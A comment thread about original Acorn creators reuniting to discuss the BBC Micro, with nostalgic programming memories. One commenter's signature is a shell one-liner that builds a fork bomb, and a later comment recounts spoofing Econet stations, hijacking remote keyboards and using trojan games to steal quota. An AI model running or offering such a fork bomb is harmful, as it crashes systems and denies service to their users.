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BBC Micro Creators Reunite In London
mustrum_ridcully writes "This week some of the original creators from Acorn Computers who developed the BBC Micro home computer are coming together again at the Science Museum in London to discuss the legacy of the computer fondly known in the UK as 'the Beeb'. This news is being carried, of course, on the BBC. The BBC Micro sold some 1.5 million units and helped fund Acorn's development work on the Acorn RISC Machine processor — also known as the ARM processor used today in countless mobile and embedded devices."
10 PRINT "FIRST POST!"
20 GOTO 10
(stupid lameness filter objecting to my caps)
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
IMHO, the Beeb always seemed a bit dull. It was what you used at school, when you had to peck through dull basic programs under the watchful eye of teacher.
At home is where you had a ZX Spectrum, and where you had free reign and did the real inventive programming.
The Beeb was probably the better machine, but the speccy was where the real fun was.
mainly for the games. Codename: Droid, Citadel, Labyrinth...
I got nostalgic a few months ago and made some longplay movies on YouTube
Codename: Droid
Citadel
Labyrinth
I really should just remake some of these games...
Summation 2
"Beeb" is a name for the whole BBC, not just the machines....
And yes, i had one too, bought for me by my father....said it was "chipped", whatever that meant; it was probablly supposed to convince me it had superpowers or something, but anyway, this machine was my foundation of everyone's first program....
10 print "hello world bum bum willy willy weeeeeeeee!"
20 goto 10
Ok ok, so I was 8-9 - give me some credit...
throw new NoSignatureException();
Co designer of the what is probably the most popular Instruction Set Architecture in the world the ARM. She also designed the Acorn Atom microcomputer, forerunner of the BBC Micro and wrote the improved version of Basic which caused the BBC to sign the contract
http://en.wikipedia.org/wiki/Sophie_Wilson
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I have two BBC Micros (one with an internal IDE hard disc and double density floppy controller, sideways RAM banks, and another fairly standard one with the Intel single density disc controller).
Back 'in the day', a friend and I wrote a MUD (multi user dungeon) for the BBC Micro, on Econet, since our school had quite a few of them connected together via econet.
It was an ungodly mish-mash of 6502 asm and BBC BASIC. It's a wonder that it worked at all, let alone reasonably well. Since we couldn't get the game into one machine, we made it client/server before either of us had actually heard the term client/server! The server was an almost unused Torch BBC compatible machine, donated to the school - no one wanted to use it because it had a rather odd keyboard layout and a few other non-standard things, but otherwise, worked like a BBC Micro and had a Z80 second processor (unused by our server). Clients displayed things like location descriptions, item descriptions etc. while the server kept track of game state.
Some things were also peer-to-peer, if a player 'shouted' a message, it went peer-to-peer. But if a player used 'tell' to privately tell someone else something, it was routed via the server which only sent it to the right econet station. The server kept track of what was allowed, so people couldn't cheat by loading a different exits file into the client.
We could only run it three days a week because it was pretty popular. We were only allowed to run it at all because the head of computing obviously saw that we were learning from the experience of writing and maintaining the monstrosity we had created. It taught me many valuable lessons about software that communicates.
I only had a Spectrum at home (couldn't afford a Beeb!), but it's another 8 bitter I really like. I have six of those now, and I'm designing an ethernet card for the Speccy. Once the Spectrum one's done, I'll do the same for the Beeb (which should be electronically far simpler, because the BBC has much better support for adding new ROMs, and a proper formal way of telling the MOS that you've done it).
Good times.
Oolite: Elite-like game. For Mac, Linux and Windows
I had a BBC B and then later a BBC Master 128 (which I upgraded to a BBC Master Turbo). I learned BASIC, Forth, Lisp, Pascal, C and 8502 assembler on the BBC Micro before I even got to University. I learned most of the 1st year CS algorithms and data structures course from Beebug (the BBC Users Group) magazine.
The BBC had what, at the time, was a "proper" operating system on a home computer and you could patch all of the system calls so that you could inspect and modify the behaviour. With the excellent Exmon machine monitor and the BBC Advanced User Guide, the machine was a treasure trove for an aspiring programmer.
I don't think there's anything comparable that a 12 year old kid can really get a chance to understand anymore.
They were more than happy to sell into education at huge discounts. The technical collage I was at was quite pleased with the IIRC £250 it paid for each of the A310s in the lab. RRP was about a grand.
I agree they showed no interest at all in selling to Joe Public though.
My first job was coding for it. I wrote a fruit machine program that was supposed to be educational (you added up the values of the reels to win or something like that). As it was too ambitious for the platform (as a noob I didn't at that time know how to 'manage' managements's expectations) it ended up in raw 6502 and loaded up different bits of itself as it was running, just to fit in the memory. Was quite proud of it actually.. I still wonder what happened to it. (For historys sake that was GSN Software that became 3T productions that then got bought out by Research Machines and presumably vanished after that).
Econet ... a good example of why you shouldn't design a network with
zero security for use by schoolchildren.
Amongst its many flaws: You could spoof any machine on the network just by POKE-ing a single address (the machine's address was a single byte, I guess they never expected more than 256 machines on a single shared segment). I think the command was ?3362 = <node>
You could send text messages to anyone on the network. But get this: the messages were injected into the remote system via the keyboard driver. That's right: You could TYPE REMOTELY ON ANYONE'S KEYBOARD over the network! What finally got me thrown out of the computing labs at school at age 14 was writing a program which typed on all the keyboards in the lab at the same time, controlling the whole lab from a single machine.
Another good one was the quota system used by the file server. It didn't store total/available, as any sensible system would. Instead each user had a single quota value (free space). The only problem was you could also write to anyone else's file, eg. appending data to a file owned by another user. When you did the append, your own quota would be diminished. But when the other user deleted the file, *their* quota would be increased. I wrote several trojan games which other people ran that surreptitiously appended to a file owned by me. Then by deleting this file, I could steal other people's quota and sell it back to them later.
Ah, misspent youth ...
Rich.
libguestfs - tools for accessing and modifying virtual machine disk images